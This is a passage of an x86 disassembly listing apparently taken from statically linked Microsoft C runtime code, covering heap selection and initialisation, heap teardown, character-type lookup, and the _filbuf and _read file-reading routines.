sub ecx, [ebp+arg_C]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, ecx
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_4269DD: ; CODE XREF: sub_426880+62j
; sub_426880+6Dj ...
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_426880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4269F0 proc near ; CODE XREF: sub_423E20+89p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
mov [ebp+var_8], 0
mov [ebp+var_1C], offset off_451BB8
loc_426A04: ; CODE XREF: sub_4269F0+21Ej
mov eax, ds:off_453BD8
cmp eax, [ebp+var_1C]
jnz short loc_426A17
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_426A17: ; CODE XREF: sub_4269F0+1Cj
mov edx, [ebp+var_1C]
mov eax, [edx+10h]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jz loc_426BFF
mov [ebp+var_C], 0
mov [ebp+var_28], 0
mov ecx, [ebp+var_1C]
mov edx, [ecx+10h]
mov [ebp+var_4], edx
jmp short loc_426A58
; ---------------------------------------------------------------------------
loc_426A43: ; CODE XREF: sub_4269F0:loc_426BFAj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1000h
mov [ebp+var_4], ecx
loc_426A58: ; CODE XREF: sub_4269F0+51j
cmp [ebp+var_C], 400h
jge loc_426BFF
mov edx, [ebp+var_C]
mov eax, [ebp+var_1C]
cmp dword ptr [eax+edx*8+18h], 0FFFFFFFFh
jnz short loc_426AA0
cmp [ebp+var_28], 0
jnz short loc_426A92
mov ecx, [ebp+var_C]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8+18h]
mov ecx, [ebp+var_1C]
cmp [ecx+0Ch], eax
jz short loc_426A92
or eax, 0FFFFFFFFh
jmp loc_426C23
; ---------------------------------------------------------------------------
loc_426A92: ; CODE XREF: sub_4269F0+86j
; sub_4269F0+98j
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp loc_426BFA
; ---------------------------------------------------------------------------
loc_426AA0: ; CODE XREF: sub_4269F0+80j
mov eax, [ebp+var_4]
add eax, 0F8h
mov ecx, [ebp+var_4]
cmp [ecx], eax
jb short loc_426AB9
mov eax, 0FFFFFFFEh
jmp loc_426C23
; ---------------------------------------------------------------------------
loc_426AB9: ; CODE XREF: sub_4269F0+BDj
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx+0F8h]
cmp eax, 0FFh
jz short loc_426AD5
mov eax, 0FFFFFFFDh
jmp loc_426C23
; ---------------------------------------------------------------------------
loc_426AD5: ; CODE XREF: sub_4269F0+D9j
mov [ebp+var_10], 0
mov [ebp+var_18], 0
mov [ebp+var_24], 0
mov [ebp+var_20], 0
loc_426AF1: ; CODE XREF: sub_4269F0:loc_426BD2j
cmp [ebp+var_10], 0F0h
jge loc_426BD7
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
lea eax, [edx+ecx+8]
mov ecx, [ebp+var_4]
cmp eax, [ecx]
jnz short loc_426B18
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
loc_426B18: ; CODE XREF: sub_4269F0+11Dj
mov eax, [ebp+var_4]
add eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+8]
test ecx, ecx
jnz short loc_426B47
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp loc_426BD2
; ---------------------------------------------------------------------------
loc_426B47: ; CODE XREF: sub_4269F0+135j
mov edx, [ebp+var_C]
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
cmp ecx, [eax+edx*8+1Ch]
jl short loc_426B60
mov eax, 0FFFFFFFCh
jmp loc_426C23
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_4269F0+164j
cmp [ebp+var_18], 1
jnz short loc_426B84
mov edx, [ebp+var_4]
mov eax, [ebp+var_20]
cmp eax, [edx+4]
jge short loc_426B7B
mov eax, 0FFFFFFFBh
jmp loc_426C23
; ---------------------------------------------------------------------------
loc_426B7B: ; CODE XREF: sub_4269F0+17Fj
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
loc_426B84: ; CODE XREF: sub_4269F0+174j
mov [ebp+var_20], 0
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_14], edx
jmp short loc_426B9F
; ---------------------------------------------------------------------------
loc_426B96: ; CODE XREF: sub_4269F0:loc_426BCAj
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_426B9F: ; CODE XREF: sub_4269F0+1A4j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+8]
mov eax, [ebp+var_10]
add eax, edx
cmp [ebp+var_14], eax
jge short loc_426BCC
mov ecx, [ebp+var_4]
add ecx, [ebp+var_14]
xor edx, edx
mov dl, [ecx+8]
test edx, edx
jz short loc_426BCA
mov eax, 0FFFFFFFAh
jmp short loc_426C23
; ---------------------------------------------------------------------------
loc_426BCA: ; CODE XREF: sub_4269F0+1D1j
jmp short loc_426B96
; ---------------------------------------------------------------------------
loc_426BCC: ; CODE XREF: sub_4269F0+1C2j
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
loc_426BD2: ; CODE XREF: sub_4269F0+152j
jmp loc_426AF1
; ---------------------------------------------------------------------------
loc_426BD7: ; CODE XREF: sub_4269F0+108j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_1C]
mov eax, [ebp+var_24]
cmp eax, [edx+ecx*8+18h]
jz short loc_426BED
mov eax, 0FFFFFFF9h
jmp short loc_426C23
; ---------------------------------------------------------------------------
loc_426BED: ; CODE XREF: sub_4269F0+1F4j
cmp [ebp+var_18], 0
jnz short loc_426BFA
mov eax, 0FFFFFFF8h
jmp short loc_426C23
; ---------------------------------------------------------------------------
loc_426BFA: ; CODE XREF: sub_4269F0+ABj
; sub_4269F0+201j
jmp loc_426A43
; ---------------------------------------------------------------------------
loc_426BFF: ; CODE XREF: sub_4269F0+34j
; sub_4269F0+6Fj
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], offset off_451BB8
jnz loc_426A04
cmp [ebp+var_8], 0
jnz short loc_426C21
mov eax, 0FFFFFFF7h
jmp short loc_426C23
; ---------------------------------------------------------------------------
loc_426C21: ; CODE XREF: sub_4269F0+228j
xor eax, eax
loc_426C23: ; CODE XREF: sub_4269F0+9Dj
; sub_4269F0+C4j ...
mov esp, ebp
pop ebp
retn
sub_4269F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C30 proc near ; CODE XREF: _0:00423FF2p
; sub_426C90+1FBp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
push 0
call ds:off_4F5370
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
cmp edx, 5A4Dh
jnz short loc_426C63
mov eax, [ebp+var_8]
cmp dword ptr [eax+3Ch], 0
jnz short loc_426C65
loc_426C63: ; CODE XREF: sub_426C30+28j
jmp short loc_426C88
; ---------------------------------------------------------------------------
loc_426C65: ; CODE XREF: sub_426C30+31j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
add edx, [ecx+3Ch]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Ah]
mov [eax], dl
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Bh]
mov [eax+1], dl
loc_426C88: ; CODE XREF: sub_426C30:loc_426C63j
mov esp, ebp
pop ebp
retn
sub_426C30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C90 proc near ; CODE XREF: sub_426EC0:loc_426EECp
var_1238 = dword ptr -1238h
var_1234 = dword ptr -1234h
var_1230 = dword ptr -1230h
var_122C = byte ptr -122Ch
var_1128 = byte ptr -1128h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 1238h
call sub_41EF80
mov [ebp+var_1238], 0
mov [ebp+var_98], 94h
lea eax, [ebp+var_98]
push eax
call ds:dword_4F539C ; GetVersionExA
test eax, eax
jz short loc_426CDE
cmp [ebp+var_88], 2
jnz short loc_426CDE
cmp [ebp+var_94], 5
jb short loc_426CDE
mov eax, 1
jmp loc_426EB0
; ---------------------------------------------------------------------------
loc_426CDE: ; CODE XREF: sub_426C90+30j
; sub_426C90+39j ...
push 1090h
lea ecx, [ebp+var_1128]
push ecx
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call ds:dword_4F54B8 ; GetEnvironmentVariableA
test eax, eax
jz loc_426E84
lea edx, [ebp+var_1128]
mov [ebp+var_4], edx
jmp short loc_426D11
; ---------------------------------------------------------------------------
loc_426D08: ; CODE XREF: sub_426C90:loc_426D3Ej
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_426D11: ; CODE XREF: sub_426C90+76j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_426D40
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 61h
jl short loc_426D3E
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 7Ah
jg short loc_426D3E
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 0E0h
mov eax, [ebp+var_4]
mov [eax], dl
loc_426D3E: ; CODE XREF: sub_426C90+94j
; sub_426C90+9Fj
jmp short loc_426D08
; ---------------------------------------------------------------------------
loc_426D40: ; CODE XREF: sub_426C90+89j
push 16h
lea ecx, [ebp+var_1128]
push ecx
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41F5E0
add esp, 0Ch
test eax, eax
jnz short loc_426D68
lea edx, [ebp+var_1128]
mov [ebp+var_1238], edx
jmp short loc_426DDB
; ---------------------------------------------------------------------------
loc_426D68: ; CODE XREF: sub_426C90+C8j
push 104h
lea eax, [ebp+var_122C]
push eax
push 0
call ds:off_4F5344
lea ecx, [ebp+var_122C]
mov [ebp+var_4], ecx
jmp short loc_426D90
; ---------------------------------------------------------------------------
loc_426D87: ; CODE XREF: sub_426C90:loc_426DBDj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426D90: ; CODE XREF: sub_426C90+F5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_426DBF
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 61h
jl short loc_426DBD
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 7Ah
jg short loc_426DBD
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, 0E0h
mov edx, [ebp+var_4]
mov [edx], cl
loc_426DBD: ; CODE XREF: sub_426C90+113j
; sub_426C90+11Ej
jmp short loc_426D87
; ---------------------------------------------------------------------------
loc_426DBF: ; CODE XREF: sub_426C90+108j
lea eax, [ebp+var_122C]
push eax
lea ecx, [ebp+var_1128]
push ecx
call sub_41EBB0
add esp, 8
mov [ebp+var_1238], eax
loc_426DDB: ; CODE XREF: sub_426C90+D6j
cmp [ebp+var_1238], 0
jz loc_426E84
push 2Ch
mov edx, [ebp+var_1238]
push edx
call sub_41F720
add esp, 8
mov [ebp+var_1238], eax
cmp [ebp+var_1238], 0
jz short loc_426E84
mov eax, [ebp+var_1238]
add eax, 1
mov [ebp+var_1238], eax
mov ecx, [ebp+var_1238]
mov [ebp+var_4], ecx
loc_426E20: ; CODE XREF: sub_426C90:loc_426E46j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_426E48
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_426E3D
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
jmp short loc_426E46
; ---------------------------------------------------------------------------
loc_426E3D: ; CODE XREF: sub_426C90+1A3j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_426E46: ; CODE XREF: sub_426C90+1ABj
jmp short loc_426E20
; ---------------------------------------------------------------------------
loc_426E48: ; CODE XREF: sub_426C90+198j
push 0Ah
push 0
mov edx, [ebp+var_1238]
push edx
call sub_41F0F0
add esp, 0Ch
mov [ebp+var_1230], eax
cmp [ebp+var_1230], 2
jz short loc_426E7C
cmp [ebp+var_1230], 3
jz short loc_426E7C
cmp [ebp+var_1230], 1
jnz short loc_426E84
loc_426E7C: ; CODE XREF: sub_426C90+1D8j
; sub_426C90+1E1j
mov eax, [ebp+var_1230]
jmp short loc_426EB0
; ---------------------------------------------------------------------------
loc_426E84: ; CODE XREF: sub_426C90+67j
; sub_426C90+152j ...
lea eax, [ebp+var_1234]
push eax
call sub_426C30
add esp, 4
mov ecx, [ebp+var_1234]
and ecx, 0FFh
cmp ecx, 6
jl short loc_426EAB
mov eax, 3
jmp short loc_426EB0
; ---------------------------------------------------------------------------
loc_426EAB: ; CODE XREF: sub_426C90+212j
mov eax, 2
loc_426EB0: ; CODE XREF: sub_426C90+49j
; sub_426C90+1F2j ...
mov esp, ebp
pop ebp
retn
sub_426C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426EC0 proc near ; CODE XREF: _0:0042217Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call ds:dword_4F54C0 ; HeapCreate
mov ds:dword_4F39E8, eax
cmp ds:dword_4F39E8, 0
jnz short loc_426EEC
xor eax, eax
jmp short loc_426F4B
; ---------------------------------------------------------------------------
loc_426EEC: ; CODE XREF: sub_426EC0+26j
call sub_426C90
mov ds:dword_4F39EC, eax
cmp ds:dword_4F39EC, 3
jnz short loc_426F23
push 3F8h
call sub_424080
add esp, 4
test eax, eax
jnz short loc_426F21
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F54BC ; HeapDestroy
xor eax, eax
jmp short loc_426F4B
; ---------------------------------------------------------------------------
loc_426F21: ; CODE XREF: sub_426EC0+4Ej
jmp short loc_426F46
; ---------------------------------------------------------------------------
loc_426F23: ; CODE XREF: sub_426EC0+3Dj
cmp ds:dword_4F39EC, 2
jnz short loc_426F46
call sub_425D50
test eax, eax
jnz short loc_426F46
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F54BC ; HeapDestroy
xor eax, eax
jmp short loc_426F4B
; ---------------------------------------------------------------------------
loc_426F46: ; CODE XREF: sub_426EC0:loc_426F21j
; sub_426EC0+6Aj ...
mov eax, 1
loc_426F4B: ; CODE XREF: sub_426EC0+2Aj
; sub_426EC0+5Fj ...
pop ebp
retn
sub_426EC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp ds:dword_4F39EC, 3
jnz loc_426FEA
mov eax, ds:dword_4F3A08
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_426F7D
; ---------------------------------------------------------------------------
loc_426F74: ; CODE XREF: _0:00426FD1j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_426F7D: ; CODE XREF: _0:00426F72j
mov edx, [ebp-4]
cmp edx, ds:dword_4F3A04
jge short loc_426FD3
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F54B0 ; VirtualFree
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call ds:dword_4F54B0 ; VirtualFree
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_426F74
; ---------------------------------------------------------------------------
loc_426FD3: ; CODE XREF: _0:00426F86j
mov edx, ds:dword_4F3A08
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
jmp short loc_427028
; ---------------------------------------------------------------------------
loc_426FEA: ; CODE XREF: _0:00426F5Dj
cmp ds:dword_4F39EC, 2
jnz short loc_427028
mov dword ptr [ebp-0Ch], offset off_451BB8
loc_426FFA: ; CODE XREF: _0:00427026j
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+10h], 0
jz short loc_427017
push 8000h
push 0
mov edx, [ebp-0Ch]
mov eax, [edx+10h]
push eax
call ds:dword_4F54B0 ; VirtualFree
loc_427017: ; CODE XREF: _0:00427001j
mov ecx, [ebp-0Ch]
mov edx, [ecx]
mov [ebp-0Ch], edx
cmp dword ptr [ebp-0Ch], offset off_451BB8
jnz short loc_426FFA
loc_427028: ; CODE XREF: _0:00426FE8j _0:00426FF1j
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F54BC ; HeapDestroy
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427040 proc near ; CODE XREF: sub_41DF10+66p
; sub_41E610+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_42706A
mov ecx, [ebp+arg_0]
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_4270F3
; ---------------------------------------------------------------------------
loc_42706A: ; CODE XREF: sub_427040+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, ds:off_453BE4
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_4270B3
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_4270C4
; ---------------------------------------------------------------------------
loc_4270B3: ; CODE XREF: sub_427040+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_4270C4: ; CODE XREF: sub_427040+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call sub_431210
add esp, 1Ch
test eax, eax
jnz short loc_4270E8
xor eax, eax
jmp short loc_4270F3
; ---------------------------------------------------------------------------
loc_4270E8: ; CODE XREF: sub_427040+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_4270F3: ; CODE XREF: sub_427040+25j
; sub_427040+A6j
mov esp, ebp
pop ebp
retn
sub_427040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427100 proc near ; CODE XREF: sub_41E1C0+182p
; sub_41EFB0+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_427109: ; CODE XREF: sub_427100+31j
cmp [ebp+arg_0], 0
jnz short loc_42712D
push offset dword_43C514
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42712D
int 3 ; Trap to Debugger
loc_42712D: ; CODE XREF: sub_427100+Dj
; sub_427100+2Aj
xor eax, eax
test eax, eax
jnz short loc_427109
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_427155
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_42715D
loc_427155: ; CODE XREF: sub_427100+46j
or eax, 0FFFFFFFFh
jmp loc_4272DD
; ---------------------------------------------------------------------------
loc_42715D: ; CODE XREF: sub_427100+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_427180
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_4272DD
; ---------------------------------------------------------------------------
loc_427180: ; CODE XREF: sub_427100+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_4271AB
mov ecx, [ebp+var_4]
push ecx
call sub_4313D0
add esp, 4
jmp short loc_4271B6
; ---------------------------------------------------------------------------
loc_4271AB: ; CODE XREF: sub_427100+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_4271B6: ; CODE XREF: sub_427100+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_4272F0
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_4271EB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_42721B
loc_4271EB: ; CODE XREF: sub_427100+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_4272DD
; ---------------------------------------------------------------------------
loc_42721B: ; CODE XREF: sub_427100+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_427281
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_427256
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_42725D
; ---------------------------------------------------------------------------
loc_427256: ; CODE XREF: sub_427100+131j
mov [ebp+var_8], offset dword_454390
loc_42725D: ; CODE XREF: sub_427100+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_427281
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_427281: ; CODE XREF: sub_427100+128j
; sub_427100+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_4272B4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_4272B4
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_4272B4
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_4272B4: ; CODE XREF: sub_427100+18Bj
; sub_427100+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_4272DD: ; CODE XREF: sub_427100+58j
; sub_427100+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4272F0 proc near ; CODE XREF: sub_41E1C0+118p
; sub_427100+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_427321
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42733C
loc_427321: ; CODE XREF: sub_4272F0+Dj
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42736E
; ---------------------------------------------------------------------------
loc_42733C: ; CODE XREF: sub_4272F0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_427380
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_431100
add esp, 4
mov eax, [ebp+var_4]
loc_42736E: ; CODE XREF: sub_4272F0+4Aj
mov esp, ebp
pop ebp
retn
sub_4272F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427380 proc near ; CODE XREF: sub_4272F0+64p
; sub_4314E0+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_4273BB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_4273C2
loc_4273BB: ; CODE XREF: sub_427380+17j
xor eax, eax
jmp loc_4277C1
; ---------------------------------------------------------------------------
loc_4273C2: ; CODE XREF: sub_427380+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_427459
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_427459
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_427459: ; CODE XREF: sub_427380+62j
; sub_427380+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov eax, [edx+ecx]
push eax
call ds:off_4F53BC
test eax, eax
jnz short loc_4274D8
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_4274B7
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_4277C1
; ---------------------------------------------------------------------------
loc_4274B7: ; CODE XREF: sub_427380+118j
